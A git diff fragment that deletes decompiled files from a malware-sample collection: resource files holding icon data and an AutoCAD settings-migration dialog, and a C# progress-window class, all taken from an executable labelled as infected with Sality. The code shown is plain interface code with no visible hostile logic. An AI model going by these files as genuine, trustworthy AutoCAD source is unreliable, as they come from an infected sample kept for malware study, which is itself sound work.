///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///////wAA////////AAD///////8AAP////wD/wAA4D//+AP/AADAH//wA/8AAMAP/+AC/wAAwAf/4AH/AADAA//gBB8AAMAB/+AIHwAAwAD/4AAfAADAAH/gAB8AAOAAP8AAHwAA8AAfgAAfAAD4AA8AAB8AAPwABgAAHwAA/gAAAAA/AAD/AAAAAH8AAP+AAAAA/wAA/8AAAD//AAD/4AAAf/8AAP/wAAD//wAA//gAAf//AAD//AAD//8AAP/8AAf//wAA//gAA///AAD/8AAB/g8AAP/gAAD8BwAA/8AAAHgDAADwAAAAOAEAAOAAAAAYAAAAwAACABgAAACAAAcAAAAAAIAAD4AAAAAAgAAfwAAAAACAAD/gAAEAAIAAf/AAAwAAgAB/+AA/AACBAH/8AD8AAIIAf/gAPwAA/ABwAAB/AAD0AGAAAP8AAPgA8AAB/wAA/AH4AAP/AAD8A/8AB/8AAP///////wAA////////AAD///////8AACgAAAAgAAAAQAAAAAEAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AAAAAAEAAAAHAAAADwAAABMAAAASAAAADAAAAAT///8A////AP///wD///8A////AP///wD///8A////AAAAAAEAAAAHAAAADwAAABMAAAAPAAAABwAAAAH///8A////AP///wD///8A////AP///wD///8A////AP///wAAAAABAAAACQAAAB4AAAAyAAAAOgAAADcAAAAnAAAADP///wD///8A////AP///wD///8A////AP///wD///8AAAAABwAAAB0AAAAyAAAAOgAAADIAAAAeAAAACQAAAAH///8A////AP///wD///8A////AP///wD///8A////AAAAAAYAAAAdLicmakg/Of9IPzn/SD85/1NLRtAAAAAO////AP///wD///8A////AP///wD///8A////AP///wAAAAAPLSgkZUg/Of9IPzn/SD85/yokIWgAAAAeAAAACQAAAAH///8A////AP///wD///8A////AP///wD///8AAAAADykjIllIPzn/5eLf/+vp5//7+/r/SD85/wAAAA4AAAAOAAAADAAAAAT///8A////AP///wD///8A////AAAAABNIPzn/XmSP/2Juqv9aYY//SD85/yokIWgAAAAeAAAACQAAAAH///8A////AP///wD///8A////AP///wAAAAATSD85/9/b1//l4t//+/v6/0g/Of8/NjRNAAAAHwAAADEAAAAoAAAADP///wD///8A////AP///wD///8AAAAAD0g/Of+or9H/fIa5/3aAtf9dZJD/SD85/yokIWgAAAAfAAAACQAAAAH///8A////AP///wD///8AAAAAAQAAABVIPzn/39vX/+Xi3/9IPzn/LygnTgAAACIuJyZqSD85/1dQStoAAAAS////AP///wD///8A////AP///wAAAAAHSD85/290mf+or9H/fIa5/3V/tf9eZJH/SD85/yokIWgAAAAfAAAACQAAAAH///8A////AAAAAAEAAAAJAAAAIkg/Of/f29f/5eLf/0g/Of8AAAA/JSAfZEg/Of/49/f/SD85/wAAABP///8A////AP///wD///8A////AAAAAAFBOTNGSD85/3B1m/+or9H/fIa5/3aAtf9aYY//SD85/yolImsAAAAfAAAACQAAAAEAAAABAAAACQAAAB4sJiVoSD85/9/b1//l4t//6+nn/0g/Of9IPzn/4+Dd//j39/9IPzn/AAAAD////wD///8A////AP///wD///8A////AAAAAAFAODNDSD85/3F3nf+or9H/fIa5/3V/tf9fZZD/SD85/yolImsAAAAfAAAACgAAAAoAAAAfLCYlaEg/Of/Z087/39vX/+Xi3//r6ef/6+nn/+nn5P/j4N3/+Pf3/0g/Of8AAAAH////AP///wD///8A////AP///wD///8A////AAAAAAFBOTM9SD85/3J5of+or9H/fIa5/3V/tf9WXYv/SD85/yslImoAAAAlAAAAJSwmJWhIPzn/2NPO//f29f+olH3/5eLf//v7+v/7+/r/+/r6//n5+P9IPzn/RTs5RgAAAAH///8A////AP///wD///8A////AP///wD///8A////AAAAAAE/NzI3SD85/290mf+or9H/fIa5/3V/tf9fZZD/SD85/yUgHWsrJSRxSD85/9nUz//39vX/qJR9/9/b1//6+fn/SD85/0g/Of9IPzn/SD85/0U8OjUAAAAB////AP///wD///8A////AP///wD///8A////AP///wD///8A////AAAAAAFBOTNGSD85/3F3nv+or9H/fIa5/3R+tP9cY5H/29nY/0g/Of/a1dD/9/b1/6iUff/Z087/+fj3/0g/Of9FOzlDAAAAAf///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AAAAAAFAODI8SD85/290mf+or9H/fIa5/+Hi6/9IPzn/2tXR//j39v+olH3/2NPO//f29f9IPzn/RTs5QwAAAAH///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AAAAAAFAODNHSD85/3J5of/j5Oz/SD85/9vW0v/49/b/qJR9/9nUz//39vX/SD85/0U7OUMAAAAB////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8AAAAAAQAAAAotJyNN29nY/0g/Of/b1tL/+Pf2/6iUff/a1dD/9/b1/0g/Of89NDJRAAAAAv///wD///8A////AP///wD///8AAAAABQAAAA0AAAAPAAAACAAAAAL///8A////AP///wD///8A////AP///wD///8A////AAAAAAEAAAAJAAAAHi4nJmpIPzn/2tXQ//j39v+olH3/2tXR//j39v9IPzn/5+bl6AAAACIAAAAJAAAAAf///wD///8A////AAAAAAUAAAAVAAAAKwAAADEAAAAiAAAADgAAAAP///8A////AP///wD///8A////AP///wAAAAABAAAACQAAAB4pIyJiSD85/9nUz//39vX/qJR9/9nUz//49/b/SD85/97f5v9IPzn/KiUiawAAAB8AAAAKAAAAAf///wD///8AAAAADBQSEDhEOzbdRz449DMtKIcAAAAoAAAADwAAAAL///8AAAAAAQAAAAcAAAAPAAAAEwAAABUAAAAiLicmakg/Of/Y087/9/b1/6iUff/Y087/9/b1/0g/Of/h4uj/e4i5/11kj/9IPzn/Mi4ybQAAACAAAAAKAAAAAf///wAAAAARRTw22kg/Of9IPzn/SD85/z43MbgAAAAlAAAACQAAAAEAAAAJAAAAHgAAADIAAAA6AAAAOyUgH2RIPzn/2dPO//f29f+olH3/2dPO//f29f9IPzn/6+rr40g/Of9vdJn/e4i5/1lgkP9IPzn/MzAydAAAACEAAAAOAAAACgAAABxGPTfnSD85/0g/Of9IPzn/SD85/zw1MJgAAAAPAAAABgAAAB0uJyZqSD85/0g/Of9IPzn/SD85/9/b1//5+Pf/qJR9/9/b1//5+Pf/SD85/0U7OUYAAAACQTkzRkg/Of9xd57/e4i5/19lkP9IPzn/LywwawAAACsAAAAmEg8OQUU9N+hIPzn/Y1pS/9rMwP9IPzn/SD85/wAAAAsAAAAPKSMiWUg/Of/l4t//5eLf/+Xi3//l4t//5eLf/6iUff/l4t//+vn5/0g/Of9EOjg8AAAAAf///wAAAAABQDgyPEg/Of9vdJn/e4i5/251nv9IPzn/Qz9Dqi0oJH5EOzbdSD85/0g/Of/azMD/Y1pS/0g/Of9FPTemAAAAAwAAABNIPzn/6+nn/+vp5//7+/r/+/v6/+vp5//r6ef/6+nn//v7+v9IPzn/RTs5RgAAAAH///8A////AP///wAAAAABQTkzRkg/Of9yeaH/QjQr/0g/Of9IPzn/SD85/0g/Of9IPzn/SD85/0c+OORIPzn/Rj03pAAAAAP///8AAAAAEkg/Of/r6ef/+/v6/0g/Of9IPzn/6+nn/+vp5//r6ef/SD85/zkxL0EAAAAB////AP///wD///8A////AP///wAAAAABOjMuO0g/Of9IPzn/SD85/0g/Of9IPzn/SD85/0g/Of9GPTfmAAAAEf///wD///8A////AP///wAAAAAMSD85//v6+v9IPzn/PzY0TQAAACRIPzn/6efk/+nn5P9IPzn/AAAAE////wD///8A////AP///wD///8A////AP///wAAAAAJPzcyk0g/Of9IPzn/SD85/0g/Of9lW1P/2szA/0g/Of8AAAAL////AP///wD///8A////AAAAAARWTkjISD85/z82NDsAAAAeLicmakg/Of/j4N3/4+Dd/0g/Of8AAAAP////AAAAAAMAAAALAAAAEAAAABAAAAARAAAAEgAAABs2Lyt/SD85/0g/Of9IPzn/XlRN/9rMwP9lW1P/RT03pgAAAAP///8A////AP///wD///8A////AP///wD///8AAAAADiokI1dIPzn/3tnV/97Z1f/49/f/SD85/wAAAAf///8AAAAABwAAABkAAAAqAAAAMQAAADQAAAA4AAAAPEA4M8VIPzn/SD85/0g/Of/azMD/XlRN/0U9N6YAAAAD////AP///wD///8A////AP///wD///8A////AP///wAAAAAMSD85//f29f/39vX/9/b1/0g/Of9FOzlGAAAAAf///wAAAAAERz45rkpAPOZHPjrfRz06301CQP9JPzv5SkA8/0pAPP9IPzn/SD85/0g/Of9FPTeFAAAAAv///wD///8A////AP///wD///8A////AP///wD///8A////AAAAAARbU03RSD85/0g/Of9IPzn/RTw6NQAAAAH///8A////AP///wBCOTcdST87nEpAPNpLQT34S0E9/0pAPP9KQDz/SD879Uc+OMNGPTeEQjo0IwAAAAH///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////////wH+A/4B/gH+Af4A/gA+AH4APgA8AD4AGAA+AAAAPwAAAD+AAAA/wAAAf+AAB//wAA//+AAf//gAPg/wABwH4AAMAgAABAAAAAAAAAAAAAAIAAAAHAAEAD4APAB/ADwAQAA/gEAAf4BAAP+A4AH////////////////8oAAAAEAAAACAAAAABACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wBIPzn/SD85/3aAtRD///8A////AP///wD///8A////AFtRSP9bUUj/W1FIsv///wD///8A////AP///wBIPzn/qK/R/3aAtf9IPzn/////AP///wD///8A////AFtRSP/+/v7//v7+/1tRSP////8A////AP///wD///8ASD85/3aAtf+or9H/doC1/0g/Of////8A////AP///wBbUUj/+/r5/1tRSP////8AW1FI/1tRSLL///8A////AP///wBIPzn/doC1/6iv0f92gLX/SD85/////wD///8AW1FI//f19P+Ee3P/W1FI//f19P9bUUj/////AP///wD///8A////AEg/Of92gLX/qK/R/3aAtf/Rz83/W1FI//Px8P/z8fD/////////////////W1FI/////wD///8A////AP///wD///8ASD85/3aAtf/d3+z/W1FI//Dt6/+vo5r//////1tRSP9bUUj/W1FI/////wD///8A////AP///wD///8A////AP///wDRz83/W1FI/+zp5v+vo5r//////1tRSP////8A////AP///wD///8A////AP///wD///8A////AP///wD///8AW1FI/+nk4v+vo5r//////1tRSP92gLUQ////AP///wD///8ASD85MEg/ORD///8A////AFtRSP9bUUj/W1FI/+Xg3f+vo5r//////1tRSP/d3+z/SD85/3aAtRD///8ASD85MEg/Of9IPznwSD85MFtRSP/i3Nj/4tzY/+Lc2P/i3Nj//////1tRSP92gLUQSD85/3aAtf9IPzn/VlNfLkg/OUBIPzn/SD85/0g/OfBbUUj//////1tRSP+Ee3P/3tjU/1tRSP////8A////AP///wBIPzn/SD85/0g/Of9IPzn/SD85/0g/OZBIPzlgW1FIsltRSP////8AW1FI/9rTz/9bUUj/////AP///wD///8AdoC1EEg/Of9IPzn/2szA/0g/OaD///8A////AP///wD///8AW1FI////////////W1FI/01CQA9NQkAlSUA7UElAO3VJPzr/2szA/0g/OfBIPzkw////AP///wD///8A////AFtRSLJbUUj/W1FI/////wBMQj9NTEE+5kxBPv9LQT7/S0E9/0g/OcBIPzkw////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP//AACPjwAADw8AAAcTAACDAwAAwAMAAOAHAADwPwAA8DkAAIAQAAAAAAAAA4AAACODAADAAwAAxAcAAP//AAAL - - - $this - - - 2 - - - System.Windows.Forms.Label, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - MessageText - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACFTeXN0ZW0uV2luZG93cy5Gb3Jtcy5BbmNob3JTdHlsZXMBAAAAB3ZhbHVlX18ACAIAAAAGAAAACw== - - - $this - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAAKIBAAB7AAAACw== - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABRTeXN0ZW0uRHJhd2luZy5Qb2ludAIAAAABeAF5AAAICAIAAACWAAAAXwAAAAs= - - - WARNING - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAAIcAAAAbAAAACw== - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5Gb250BAAAAAROYW1lBFNpemUFU3R5bGUEVW5pdAEABAQLGFN5c3RlbS5EcmF3aW5nLkZvbnRTdHlsZQIAAAAbU3lzdGVtLkRyYXdpbmcuR3JhcGhpY3NVbml0AgAAAAIAAAAGAwAAAAVBcmlhbAAAUEEF/P///xhTeXN0ZW0uRHJhd2luZy5Gb250U3R5bGUBAAAAB3ZhbHVlX18ACAIAAAABAAAABfv///8bU3lzdGVtLkRyYXdpbmcuR3JhcGhpY3NVbml0AQAAAAd2YWx1ZV9fAAgCAAAAAwAAAAs= - - - 0 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAB5TeXN0ZW0uV2luZG93cy5Gb3Jtcy5GbGF0U3R5bGUBAAAAB3ZhbHVlX18ACAIAAAADAAAACw== - - - $this - - - You have previously migrated settings to this AUTOCAD version. -Migrating settings will overwrite your previous migration. -Are you sure you want to migrate settings? - - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAAFoBAAA3AAAACw== - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAAAUAAAANAAAACw== - - - 3 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAABxTeXN0ZW0uV2luZG93cy5Gb3Jtcy5JbWVNb2RlAQAAAAd2YWx1ZV9fAAgCAAAAAAAAAAs= - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABRTeXN0ZW0uRHJhd2luZy5Qb2ludAIAAAABeAF5AAAICAIAAAClAAAACAAAAAs= - - - pictureBox1 - - - System.Windows.Forms.PictureBox, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - 1 - - - $this - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAB5TeXN0ZW0uV2luZG93cy5Gb3Jtcy5GbGF0U3R5bGUBAAAAB3ZhbHVlX18ACAIAAAADAAAACw== - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACFTeXN0ZW0uV2luZG93cy5Gb3Jtcy5BbmNob3JTdHlsZXMBAAAAB3ZhbHVlX18ACAIAAAANAAAACw== - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAABxTeXN0ZW0uV2luZG93cy5Gb3Jtcy5JbWVNb2RlAQAAAAd2YWx1ZV9fAAgCAAAAAAAAAAs= - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABRTeXN0ZW0uRHJhd2luZy5Qb2ludAIAAAABeAF5AAAICAIAAAAQAAAAEAAAAAs= - - - System.Windows.Forms.Label, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - WarningText - - - 1 - - - System.Windows.Forms.Button, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - NoButton - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACFTeXN0ZW0uV2luZG93cy5Gb3Jtcy5BbmNob3JTdHlsZXMBAAAAB3ZhbHVlX18ACAIAAAAGAAAACw== - - - System.Windows.Forms.Button, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - YesButton - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAACAAAAAgAAAACw== - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACFTeXN0ZW0uV2luZG93cy5Gb3Jtcy5BbmNob3JTdHlsZXMBAAAAB3ZhbHVlX18ACAIAAAAPAAAACw== - - - MigratorMessageBox - - - System.Windows.Forms.Form, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0ZW0uV2luZG93cy5Gb3Jtcy5Gb3JtU3RhcnRQb3NpdGlvbgEAAAAHdmFsdWVfXwAIAgAAAAQAAAAL - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAABxTeXN0ZW0uV2luZG93cy5Gb3Jtcy5JbWVNb2RlAQAAAAd2YWx1ZV9fAAgCAAAAAAAAAAs= - - - No - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAAEsAAAAWAAAACw== - - - 5 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAAEsAAAAWAAAACw== - - - Yes - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAAB9TeXN0ZW0uRHJhd2luZy5Db250ZW50QWxpZ25tZW50AQAAAAd2YWx1ZV9fAAgCAAAAAgAAAAs= - - - 3 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAABxTeXN0ZW0uV2luZG93cy5Gb3Jtcy5JbWVNb2RlAQAAAAd2YWx1ZV9fAAgCAAAAAAAAAAs= - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAABxTeXN0ZW0uV2luZG93cy5Gb3Jtcy5JbWVNb2RlAQAAAAd2YWx1ZV9fAAgCAAAAAAAAAAs= - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABRTeXN0ZW0uRHJhd2luZy5Qb2ludAIAAAABeAF5AAAICAIAAADwAAAAXwAAAAs= - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/ProgressForm.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/ProgressForm.cs deleted file mode 100644 index bd6749c6..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/ProgressForm.cs +++ /dev/null @@ -1,43 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Autodesk.AutoCAD.ADMigrator.ProgressForm -// Assembly: ADMigrator, Version=18.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 1EA8663B-E949-4FAD-ABC5-280393847F56 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33.exe - -using System.ComponentModel; -using System.Windows.Forms; - -namespace Autodesk.AutoCAD.ADMigrator -{ - public class ProgressForm : Form - { - private IContainer components; - private Label m_label; - - public ProgressForm() => this.InitializeComponent(); - - protected override void Dispose(bool disposing) - { - if (disposing && this.components != null) - this.components.Dispose(); - base.Dispose(disposing); - } - - private void InitializeComponent() - { - ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ProgressForm)); - this.m_label = new Label(); - this.SuspendLayout(); - componentResourceManager.ApplyResources((object) this.m_label, "m_label"); - this.m_label.Name = "m_label"; - componentResourceManager.ApplyResources((object) this, "$this"); - this.AutoScaleMode = AutoScaleMode.Font; - this.ControlBox = false; - this.Controls.Add((Control) this.m_label); - this.Name = nameof (ProgressForm); - this.ShowIcon = false; - this.ResumeLayout(false); - this.PerformLayout(); - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/ProgressForm.resx b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/ProgressForm.resx deleted file mode 100644 index d219d0d4..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-906e49d7772808af1fb67511fd33b01c809079fddb77015425883ca9739cad33/ProgressForm.resx +++ /dev/null @@ -1,166 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Windows.Forms.Label, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - m_label - - - Please wait... - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAACQBAAANAAAACw== - - - Processing data. This may take a few minutes. Please wait... - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABNTeXN0ZW0uRHJhd2luZy5TaXplAgAAAAV3aWR0aAZoZWlnaHQAAAgIAgAAABACAABOAAAACw== - - - - 0 - - - AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0yLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABRTeXN0ZW0uRHJhd2luZy5Qb2ludAIAAAABeAF5AAAICAIAAAB5AAAAHwAAAAs= - - - ProgressForm - - - System.Windows.Forms.Form, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - 0 - - - 